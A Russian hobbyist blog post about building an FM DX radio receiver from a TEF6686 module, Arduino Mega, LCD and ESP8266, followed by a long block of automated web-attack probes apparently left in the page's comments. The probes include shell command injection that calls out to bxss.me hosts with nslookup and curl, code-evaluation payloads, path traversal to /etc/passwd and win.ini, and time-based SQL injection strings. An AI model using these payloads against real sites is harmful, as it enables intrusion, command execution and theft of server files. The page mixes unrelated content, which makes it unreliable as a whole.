Делаю приёмник для дальнего приёма на TEF6686
У меня есть хобби — FM DXing. Это приём далеко расположенных FM-радиостанций.
Для этого требуются специфические, но не особо дорогие антенна и радиоприёмник.
Я плотно занимался этим лет 20 назад, но забросил.
А сейчас снова решил поковыряться.
Антенну пока буду использовать «BAS-1357 VESTA-FM».
Потом, возможно, поставлю что-нибудь посерьёзнее.
Чтобы приёму не мешала металлическая мачта, я вбил в неё деревянный черенок от лопаты, и уже к нему прикрутил антенну.
Установил антенну на своей 9-этажке в вертикальной поляризации и направил на Санкт-Петербург. Я живу в Петрозаводске, поэтому Спб — интересное направление для приёма: сравнительно недалеко, и много станций.
В качестве DX-приёмников раньше использовали хорошие автомобильные автомагнитолы, потому что их разрабатывали как раз для приёма нестабильных, слабых сигналов. У меня, например, 20 лет назад для этих целей была б/у магнитола Clarion.
Сейчас в моде приёмники на базе модуля TEF6686. У этой штуки отличные характеристики для дальнего приёма — чувствительность и избирательность.
На Алиэкспрессе есть много готовых радиоприёмников на основе этого модуля.
Но я решил собрать собственный, потому что хочу добавить в него Wi-FI и реализовать некоторые интересные функции. О них позже.
Итак, собираю приёмник на основе Ардуино.
Использую:
- Arduino Mega
- Дисплей LCD2004
- Модуль ESP8266 для Wi-Fi
- Модуль TEF6686
Накидал схему в сервисе EasyEDA:
И на коленке собрал макет, собрал собственную прошивку, прошил:
Работает!
Прошивку выложил на Гитхаб.
Продолжение в следующих сериях.
1
<esi:include src=«http://bxss.me/rpb.png»/>
${10000274+9999548}
response.write(9152473*9874203)
’+response.write(9152473*9874203)+’
«+response.write(9152473*9874203)+»
12345’«\’\»);|]*%00{%0d%0a<%00>%bf%27’💡
)
!(()&&!|*|*|
^(#$!@#$))******
’.gethostbyname(lc(’hithh’.’smehcqxq5c928.bxss.me.’)).’A’.chr(67).chr(hex(’58’)).chr(103).chr(79).chr(115).chr(79).’
«.gethostbyname(lc(„hitvk“.»amahgzbw2d19f.bxss.me.»)).«A».chr(67).chr(hex(«58»)).chr(109).chr(65).chr(105).chr(69).»
gethostbyname(lc(’hitvy’.’ycumukef9f7f3.bxss.me.’)).’A’.chr(67).chr(hex(’58’)).chr(116).chr(77).chr(109).chr(84)
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
xfs.bxss.me
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
«+»A».concat(70-3).concat(22*4).concat(119).concat(83).concat(100).concat(82)+(require«socket»
Socket.gethostbyname(«hitac«+»vzpamfrpd77b3.bxss.me.»)[3].to_s)+»
’+’A’.concat(70-3).concat(22*4).concat(98).concat(76).concat(100).concat(73)+(require’socket’
Socket.gethostbyname(’hitez’+’dqqgoiqzc4199.bxss.me.’)[3].to_s)+’
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
echo kbmzob$()\ ajfqmi\nz^xyu||a #’ &echo kbmzob$()\ ajfqmi\nz^xyu||a #|» &echo kbmzob$()\ ajfqmi\nz^xyu||a #
Http://bxss.me/t/fit.txt
’A’.concat(70-3).concat(22*4).concat(114).concat(69).concat(115).concat(67)+(require’socket’
Socket.gethostbyname(’hitwg’+’gafduzloafd4a.bxss.me.’)[3].to_s)
&echo bnwstm$()\ vtjjyf\nz^xyu||a #’ &echo bnwstm$()\ vtjjyf\nz^xyu||a #|» &echo bnwstm$()\ vtjjyf\nz^xyu||a #
|echo qdqdyp$()\ lzzkbv\nz^xyu||a #’ |echo qdqdyp$()\ lzzkbv\nz^xyu||a #|» |echo qdqdyp$()\ lzzkbv\nz^xyu||a #
(nslookup -q=cname hitoapnknleaseb769.bxss.me||curl hitoapnknleaseb769.bxss.me))
http://bxss.me/t/fit.txt%3F.jpg
$(nslookup -q=cname hitlcyifbksqx7564e.bxss.me||curl hitlcyifbksqx7564e.bxss.me)
/etc/shells
&nslookup -q=cname hithgjvxhdaup4e70c.bxss.me&’\«`0&nslookup -q=cname hithgjvxhdaup4e70c.bxss.me&`’
c:/windows/win.ini
&(nslookup -q=cname hitarfgbqhdnhb44d3.bxss.me||curl hitarfgbqhdnhb44d3.bxss.me)&’\«`0&(nslookup -q=cname hitarfgbqhdnhb44d3.bxss.me||curl hitarfgbqhdnhb44d3.bxss.me)&`’
|(nslookup -q=cname hitdpmgdmrelpfc035.bxss.me||curl hitdpmgdmrelpfc035.bxss.me)
’»
bxss.me
`(nslookup -q=cname hitslbypzrbumefccc.bxss.me||curl hitslbypzrbumefccc.bxss.me)`
<!—
;(nslookup -q=cname hitaiqewyssjud3c63.bxss.me||curl hitaiqewyssjud3c63.bxss.me)|(nslookup -q=cname hitaiqewyssjud3c63.bxss.me||curl hitaiqewyssjud3c63.bxss.me)&(nslookup -q=cname hitaiqewyssjud3c63.bxss.me||curl hitaiqewyssjud3c63.bxss.me)
;assert(base64_decode(’cHJpbnQobWQ1KDMxMzM3KSk7’));
|(nslookup${IFS}-q${IFS}cname${IFS}hitytrosbkcqdff1a7.bxss.me||curl${IFS}hitytrosbkcqdff1a7.bxss.me)
&(nslookup${IFS}-q${IFS}cname${IFS}hitmbamgowdcb65a28.bxss.me||curl${IFS}hitmbamgowdcb65a28.bxss.me)&’\«`0&(nslookup${IFS}-q${IFS}cname${IFS}hitmbamgowdcb65a28.bxss.me||curl${IFS}hitmbamgowdcb65a28.bxss.me)&`’
’;print(md5(31337));$a=’
«;print(md5(31337));$a=»
${@print(md5(31337))}
${@print(md5(31337))}\
’.print(md5(31337)).’
’«()
’&&sleep(27*1000)*cerznw&&’
«&&sleep(27*1000)*vflicg&&»
’||sleep(27*1000)*ezedub||’
«||sleep(27*1000)*lpupsn||»
../../../../../../../../../../../../../../etc/passwd
../../../../../../../../../../../../../../windows/win.ini
file:///etc/passwd
../../../../../../../../../../../../../../../proc/version
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
../../../../../../../../../../etc/passwd%00.jpg
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg
/../..../..../..../..../..//etc/passwd%00.jpg
.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd
/etc/passwd
%2fetc%2fpasswd
/.././.././.././.././.././.././.././../etc/./passwd%00
../..../..../..../..../..../..../..../..etc/passwd
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd
../././../././../././../././../././../././../././../././../././../././etc/passwd
..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afetc/passwd
invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.
file:///etc/passwd
/\../\../\../\../\../\../\../etc/passwd
/WEB-INF/web.xml
C:\WINDOWS\system32\drivers\etc\hosts
../../../../../../../../../../windows/win.ini%00.jpg
/../../../../../../../../../../boot.ini
%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afwindows%c0%afwin.ini
..\..\..\..\..\..\..\..\windows\win.ini
..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini
/.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini
../..../..../..../..../..../..../..../..windows/win.ini
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././windows/win.ini
unexisting/../../../../../../../../../../windows/win.ini.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\
WEB-INF/web.xml
WEB-INF\web.xml
1
-1 OR 2+617-617-1=0+0+0+1 —
-1 OR 2+795-795-1=0+0+0+1
-1’ OR 2+518-518-1=0+0+0+1 —
-1’ OR 2+853-853-1=0+0+0+1 or ’juHG6t5R’=’
-1» OR 2+524-524-1=0+0+0+1 —
1*if(now()=sysdate(),sleep(15),0)
10’XOR(1*if(now()=sysdate(),sleep(15),0))XOR’Z
10«XOR(1*if(now()=sysdate(),sleep(15),0))XOR»Z
(select(0)from(select(sleep(15)))v)/*’+(select(0)from(select(sleep(15)))v)+’«+(select(0)from(select(sleep(15)))v)+»*/
1-1; waitfor delay ’0:0:15’ —
1-1); waitfor delay ’0:0:15’ —
1-1 waitfor delay ’0:0:15’ —
1B1UDB07W’; waitfor delay ’0:0:15’ —
1-1 OR 813=(SELECT 813 FROM PG_SLEEP(15))—
1-1) OR 307=(SELECT 307 FROM PG_SLEEP(15))—
1-1)) OR 737=(SELECT 737 FROM PG_SLEEP(15))—
1TZakwiJX’ OR 427=(SELECT 427 FROM PG_SLEEP(15))—
1inXgSIA6’) OR 731=(SELECT 731 FROM PG_SLEEP(15))—
1qndQgJvW’)) OR 985=(SELECT 985 FROM PG_SLEEP(15))—
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1’||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||’
’»
@@Pxar2